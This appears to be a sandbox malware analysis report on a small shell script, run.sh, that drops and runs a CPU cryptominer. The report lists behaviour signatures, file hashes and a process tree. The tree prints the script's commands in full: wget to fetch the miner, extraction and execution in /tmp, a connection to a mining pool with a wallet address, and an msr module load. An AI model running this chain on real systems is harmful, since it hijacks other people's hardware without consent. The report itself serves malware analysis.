Resubmissions
26-06-2024 08:35
240626-khaacsyckr 726-06-2024 08:35
240626-kgz5dswakb 726-06-2024 08:34
240626-kgw3qsycjk 726-06-2024 08:34
240626-kgtbvawajc 726-06-2024 08:34
240626-kglxrsybqp 726-06-2024 08:34
240626-kgfqravhqf 726-06-2024 08:33
240626-kgavhavhpg 726-06-2024 08:33
240626-kf3twsybnl 726-06-2024 08:32
240626-kfpl9svhme 726-06-2024 08:32
240626-kfcygavhla 7Analysis
-
max time kernel
1795s -
max time network
1797s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240508-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
26-06-2024 08:32
Static task
static1
General
-
Target
run.sh
-
Size
404B
-
MD5
c3ab72c96f79d89cf768144d9d98070f
-
SHA1
ff6426eac260f84825fdc938afdb2302734ed754
-
SHA256
cc6ed95cfdf33fc88e8a1de7dc8b1ecadd1af196e5e9d26f0b277deada2b01c4
-
SHA512
98a9b5dd77ddba6975426e2c13d97850a8eb4f2e3b95e53cb35fe64ed69caf75ca18b31592fc8e4c84efa16653764ca902f7c301fe58613272c82ed969e45802
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
cpuminer-sse42-aesioc pid process /tmp/cpuminer-sse42-aes 1449 cpuminer-sse42-aes -
Processes:
resource yara_rule /tmp/cpuminer-avx upx /tmp/cpuminer-avx2 upx /tmp/cpuminer-avx512 upx /tmp/cpuminer-avx512-sha-vaes upx /tmp/cpuminer-ryzen upx /tmp/cpuminer-sse2 upx /tmp/cpuminer-sse42-aes upx -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
Processes:
cpuminer-sse42-aesdescription ioc process File opened for reading /sys/devices/virtual/dmi/id/bios_vendor cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/sys_vendor cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/product_name cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/board_vendor cpuminer-sse42-aes -
Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
Processes:
cpuminer-sse42-aesdescription ioc process File opened for reading /sys/class/net/ens3/address cpuminer-sse42-aes -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
Processes:
cpuminer-sse42-aesdescription ioc process File opened for reading /sys/devices/virtual/dmi/id/board_name cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/board_version cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/board_serial cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/bios_version cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/product_serial cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/product_uuid cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/chassis_type cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/chassis_version cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/chassis_serial cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/product_version cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/bios_date cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor cpuminer-sse42-aes -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
cpuminer-sse42-aesdescription ioc process File opened for reading /proc/cpuinfo cpuminer-sse42-aes -
Reads CPU attributes 1 TTPs 3 IoCs
Processes:
cpuminer-sse42-aesdescription ioc process File opened for reading /sys/devices/system/cpu/possible cpuminer-sse42-aes File opened for reading /sys/devices/system/cpu/online cpuminer-sse42-aes File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq cpuminer-sse42-aes -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
cpuminer-sse42-aesmodprobedescription ioc process File opened for reading /sys/class/hwmon/hwmon2/temp1_input cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/topology/cluster_cpus cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency cpuminer-sse42-aes File opened for reading /sys/class/block/vda/size cpuminer-sse42-aes File opened for reading /sys/class/net cpuminer-sse42-aes File opened for reading /sys/class/ve cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map cpuminer-sse42-aes File opened for reading /sys/devices/system/node/online cpuminer-sse42-aes File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages cpuminer-sse42-aes File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map cpuminer-sse42-aes File opened for reading /sys/bus/pci/devices/0000:00:03.0/local_cpus cpuminer-sse42-aes File opened for reading /sys/devices/platform/coretemp.0/hwmon/hwmon1/temp1_input cpuminer-sse42-aes File opened for reading /sys/bus/pci/devices/0000:00:04.0/local_cpus cpuminer-sse42-aes File opened for reading /sys/class/block/sr0/size cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map cpuminer-sse42-aes File opened for reading /sys/bus/dax/devices cpuminer-sse42-aes File opened for reading /sys/class/block/fd0/queue/hw_sector_size cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map cpuminer-sse42-aes File opened for reading /sys/bus/node/devices/node0/access1/initiators cpuminer-sse42-aes File opened for reading /sys/class/block/sr0/dev cpuminer-sse42-aes File opened for reading /sys/class/block/vda/device/devtype cpuminer-sse42-aes File opened for reading /sys/devices/platform/coretemp.0/hwmon/hwmon2/temp1_input cpuminer-sse42-aes File opened for reading /sys/devices/virtual/dmi/id cpuminer-sse42-aes File opened for reading /sys/class/block/fd0/dev cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map cpuminer-sse42-aes File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth cpuminer-sse42-aes File opened for reading /sys/class/infiniband cpuminer-sse42-aes File opened for reading /sys/module/msr/initstate modprobe File opened for reading /sys/devices/platform/coretemp.0/hwmon/hwmon3/temp1_input cpuminer-sse42-aes File opened for reading /sys/devices/system/node/node0/meminfo cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/id cpuminer-sse42-aes File opened for reading /sys/class/block/sr0/device/devtype cpuminer-sse42-aes File opened for reading /sys/class/block/fd0/device/devtype cpuminer-sse42-aes File opened for reading /sys/class/block/vda/dev cpuminer-sse42-aes File opened for reading /sys/class/block cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type cpuminer-sse42-aes File opened for reading /sys/bus/node/devices/node0/cpumap cpuminer-sse42-aes File opened for reading /sys/bus/node/devices/node0/access0/initiators cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/id cpuminer-sse42-aes File opened for reading /sys/bus/node/devices/node0/access0/initiators/write_latency cpuminer-sse42-aes File opened for reading /sys/bus/node/devices/node0/meminfo cpuminer-sse42-aes File opened for reading /sys/class/block/fd0/device/numa_node cpuminer-sse42-aes File opened for reading /sys/devices/system/node cpuminer-sse42-aes File opened for reading /sys/fs/cgroup/unified/cgroup.controllers cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_cpus cpuminer-sse42-aes File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map cpuminer-sse42-aes -
Reads runtime system information 9 IoCs
Reads data from /proc virtual filesystem.
Processes:
tarcpuminer-sse42-aesmodprobedescription ioc process File opened for reading /proc/filesystems tar File opened for reading /proc/sys/kernel/random/boot_id tar File opened for reading /proc/mounts cpuminer-sse42-aes File opened for reading /proc/meminfo cpuminer-sse42-aes File opened for reading /proc/driver/nvidia/gpus cpuminer-sse42-aes File opened for reading /proc/cmdline modprobe File opened for reading /proc/self/exe cpuminer-sse42-aes File opened for reading /proc/self/status cpuminer-sse42-aes File opened for reading /proc/self/cpuset cpuminer-sse42-aes -
Writes file to tmp directory 17 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgettardescription ioc process File opened for modification /tmp/cpuminer.tar.gz wget File opened for modification /tmp/cpuminer-avx2 tar File opened for modification /tmp/cpuminer-avx512 tar File opened for modification /tmp/cpuminer-avx512-sha-vaes tar File opened for modification /tmp/cpuminer-sse2amd tar File opened for modification /tmp/cpuminer-ryzen tar File opened for modification /tmp/cpuminer-sse2 tar File opened for modification /tmp/miner-avian-minotaurx.sh tar File opened for modification /tmp/miner-raptoreum.sh tar File opened for modification /tmp/miner-tidecoin.sh tar File opened for modification /tmp/cpuminer-avx tar File opened for modification /tmp/cpuminer-sse42 tar File opened for modification /tmp/cpuminer-sse42-aes tar File opened for modification /tmp/miner-dpowcoin.sh tar File opened for modification /tmp/miner-sugar.sh tar File opened for modification /tmp/miner-goldcash.sh tar File opened for modification /tmp/miner-yenten.sh tar
Processes
-
/tmp/run.sh/tmp/run.sh1⤵PID:1404
-
/usr/bin/wgetwget -O cpuminer.tar.gz https://github.com/rplant8/cpuminer-opt-rplant/releases/download/5.0.40/cpuminer-opt-linux-5.0.40.tar.gz2⤵
- Writes file to tmp directory
PID:1405
-
-
/usr/bin/tartar -xf cpuminer.tar.gz2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:1445 -
/usr/local/sbin/gzipgzip -d3⤵PID:1446
-
-
/usr/local/bin/gzipgzip -d3⤵PID:1446
-
-
/usr/sbin/gzipgzip -d3⤵PID:1446
-
-
/usr/bin/gzipgzip -d3⤵PID:1446
-
-
-
/usr/bin/chmodchmod +x cpuminer-sse42-aes2⤵PID:1447
-
-
/usr/bin/nprocnproc2⤵PID:1448
-
-
/tmp/cpuminer-sse42-aes./cpuminer-sse42-aes -a minotaurx -o stratum+tcp://minotaurx.eu.mine.zpool.ca:7019 "--userpass=ltc1qy2q2xjukf5kfarw3fskvdr9e3d003l9wp6peve:c=LTC" "--threads=1"2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads MAC address of network interface
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1449 -
/bin/shsh -c -- "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"3⤵PID:1450
-
/sbin/modprobe/sbin/modprobe msr "allow_writes=on"4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1451
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
165B
MD59e81392e52aac2b17080b82a98c8c962
SHA167bafff224840c895f1b16c2922af26ffac58a44
SHA2568b00de590f421d82051679e62b51824e529c0ecb77c6a61c1478195fcb1ee3b1
SHA512c013aadc9759a417fb53f904ef72825f807effa994b7361e7209f64e580d1f345fa61f2f47b7bb05a98a56aed6a5fcdc2d01907540960b676297531c66cd6dbc
-
Filesize
3.1MB
MD522b710780b2ef92b5e4badfcb3e161ab
SHA1634d032a2024abde8aaecdb3c02d64dccdabd08d
SHA256e3a39579707a0844aa1b90210786fc6893541f65cb8144d573386b54395ce7de
SHA512971072d579d09179bd4823ad80d68db43648d6b9d36dd3b1064a895c0921ede9abbf47874db587108d1794941fec036d72c527158b1e4e7b7847611a94e11801
-
Filesize
3.4MB
MD549fb54a04c596c9be79c122955b946eb
SHA18f9e75ae090676f10079153401ab14fac5359ade
SHA256afed09f7e34012dd802c48ebef29b0ac3d32a940ee692ed3c6be10665d5f8124
SHA5120b6ee36a56d27fa85630fc51ee36607de5f90b18c04be57d0a42cdab3a87c12994ebbeab5574c6d95faff6a229314e887b7653cb3f8f38e959576810d04afee9
-
Filesize
3.5MB
MD5f68d951913f722b5cd9e4dd230bee7e3
SHA1ac23aa5b5fb908834fb6dd47729881fd2f712dfc
SHA256d0079a9a7a397a00101f0a061f86bbb7e94179a4c57ac3b2253374d5e515ed08
SHA512b0010c8fe75027f2522097d03a6cebe55586aa0e87eae991fba44bd26e2de32a5a9093e5e367b4d34d9e928d693b4aff9ff5abc232a941b4015fdcfdd16926b2
-
Filesize
3.6MB
MD5bca6f4a0b53755cc6a57fa796af8f277
SHA12bf4f123672c67608374e34cd809c6a34d963b4d
SHA256911628557c610e74d32d07dfb67152a06b43ca7a1ee9258fd1b0ca979595024e
SHA51265d28dd2a4c7216313eaf032773f20a1946c1068b670dcac5ba288c9ce75ec59284e50d5a7604f249b0be694827db01e27b590667033fe245eee8726d4627b0a
-
Filesize
3.4MB
MD5c0fee004b64fd962b885ffa929103113
SHA19d45ae81ae10f4f9ff872f1920e548eb67e8e1f5
SHA256c148ebf860ef5c698589aa9b81becac72b65e5b09f97a4aeb69d42b414c4fef2
SHA5123c0f834075b8038a2201842cdf0d48ca769bed4577fa2e4e6113727f7389f9ebb2c5b6a7ae9eed34185ab511bf5262011bc9bdeff5c347b9ac98de17a628578c
-
Filesize
3.1MB
MD5efeec597b842bf4ca5c3a4bf87550f10
SHA15752e2f8d63fdd9b59b37b29d7990aad59ae241e
SHA256abf345ccf4b2b546d117ed4869fb417f4ed92e780cd22305b1518a507aac1da9
SHA512e2f14baad7637a270bbfe3b96634fdef748f0dcc88a9bef5a73cc559c60ad115c5c6563726f570ee7873f5e92f35df88a8d21d474566ecfeea92beada1422390
-
Filesize
1.3MB
MD55b2b389a92c79a4a98001046a0aab5c9
SHA101795a6af3a40052627cc25e4db24f890bd0d4b9
SHA256673ac715ff146ce9293656c9403d35baf7097c30e63def4317bff94bffb42436
SHA51261160b4cd4da5dbf21367d2c176634db58d3bea4fa94485c92d5da5d22970058ff8bce5a6dfae5cc6e74d5fe1cb486c616b6257eb0e881013037dc21e22f443f
-
Filesize
3.2MB
MD5c0094a96d0d2354bed05a0b5f0c6c81a
SHA12604f54c31bc7b8f548cfd6e500a072d095fc691
SHA25659887814c1e64f8983cd25bf1b47d99c3fba927322cccad23f58fa7ab2823ffb
SHA512f8aec4efacf4df93c3887d2fa0b0051b4a663ff144b26d7820c94243d9f9a72ea9d3e57a8070250a89ad0331902a25ab94597c48ed6f2206691110a604dcad0f
-
Filesize
3.1MB
MD5218baf8762193f057afce8024a854be7
SHA1b6675de3897968837e3d47275d9db1959c623942
SHA256e17cd257db1d14ad51fb591ed5d90d12d94993708fa197305d5554d0788659fa
SHA51267b40d532ebe71fb4949a97880623669c6729a0ace7a54cd7cf225c2f5d4cf7142662dac14e28a1e8f05a2129fc47ec8b6a782e418d7d7ca85cadd027306df12
-
Filesize
28.9MB
MD5e9312b85e3bd6db840bc358668a7f37e
SHA1e4f483655509a895d93ff23678053fa1825e2d7d
SHA2561c87158ee3ae452a4d78cf4749953a0bdb9532113379f0484b65daf215f4cb7a
SHA512666aa7237db6c450c79db169ebb10ac29396d31ecc58070b9c2150bf2f0d79d8115b15dc9d7edb91ba72d8305d2bd4d8e4144fd72b93b603d678f7e5be94e9cd
-
Filesize
376B
MD584caf2054bbae6b60875e06310299378
SHA11b0ef23e1c61e67322a36b935150e4809235d1db
SHA256d9cfb46648a5bf259dec1a91996ac1530e09d01341d05d343de18892f5691d7b
SHA51208625fb771a1590226a061b3d394191a8a089fd7c2ccd65ecadbbdb11316bb041470d0fd0f01f370a40aa0df5e2de3f412d026ee179af4bf83dfd3e4af2042f1
-
Filesize
381B
MD548f2ad9e9d73a2a61de256163b0a90ef
SHA11807209e3d02f6bcf50919549a73f35ad2b65e97
SHA25606687d58e56fb8ea72285bb99cac60ad9186239fa3d95c1e943a65f691d2319d
SHA5124ebaee9fa6a88f6982acefef670edc5b963197ad7448b1b23aefbc89fdd0fa96568a6efee248ae3fe96962075417ea6f765ab5116b2613eb22ad6fa9c66b7468
-
Filesize
385B
MD5a6ce27365dfe4ec79dc59240de8860be
SHA1822c20040f7a27b9604b205d7593741490fe96cb
SHA25622b8949e17458b0472bd1b7ab9e683f28b7ccc3f884e30cc1367e6b2b1192c26
SHA51268dc463b782f4799388ebe9c4464a74990829aea0b17d2e40590d4f7552c4a7baefb8a89071f0fcdc35a23d0003e47653a15beca870854f4a4e5c983d74e7c54
-
Filesize
215B
MD5accff0162caa25fdce0857df48a8c463
SHA121670cbedd0ac120fc8abaaad51de91336fa8c91
SHA256c8b33d6dd9832d5a4302c5e3cfe1db7c67a96ee02f9faea7ff783b6a4bee3bea
SHA512278b60ca4f48a7873dc2c72b332fcaa8df2702e4c649c14f3b2d37fd1f554029be6776d7739e0313347407933b26cd2fe9b6479adf59059bfeb99a5b638de130
-
Filesize
380B
MD5773663b4e2c8232c707082bddf6db8c2
SHA1298469b7cd0f3ac7aa2d5d8320ce17bd3b8a3185
SHA2561bae4c98c1923ace1c7de0454a410c61dc8d075870fdfad267b1371f55f235a3
SHA512606c5394d9e04023f3c150f6c0e04762834b03e2c5c0ddd68f83e4f87e582890d37c3aced5ea65061c554d6ae210127f9b9e264fad4ee56827abec3615681c54
-
Filesize
379B
MD5f256a2a753463a47ca4f35ad489f17b6
SHA16cf7d81bde46c796f9c945ce1bd8991343612fe4
SHA256ab34e30993fea54efc5bdbaacc72ed9e33934523e5802c5b9ecd4ebf19517569
SHA5123fe6571ed080b6d7e398ee0c6e11b421eca76ca5695dcf1e41656848344f8648138b731b23d6e820680213817c21df5e1f7cb2e6162a98db7d800e936fd45d9e
-
Filesize
385B
MD5e0f70b83ce5814641c2d18ef9d92629d
SHA1ee722fe50ef924ac2da57e4854c6d63152b548ae
SHA2567259bd2d5392578457b4b83081af03bb25cb9afe62a6f5a2ca795052de5b4ab4
SHA51283f6efa1f9200d83476cb572c56aa54c36e907f24a41c2c530cfdb51c87420b98a94712cbb2797e03a584d4f7eb88871f6827249edbc506eecc3e6fb083c5f33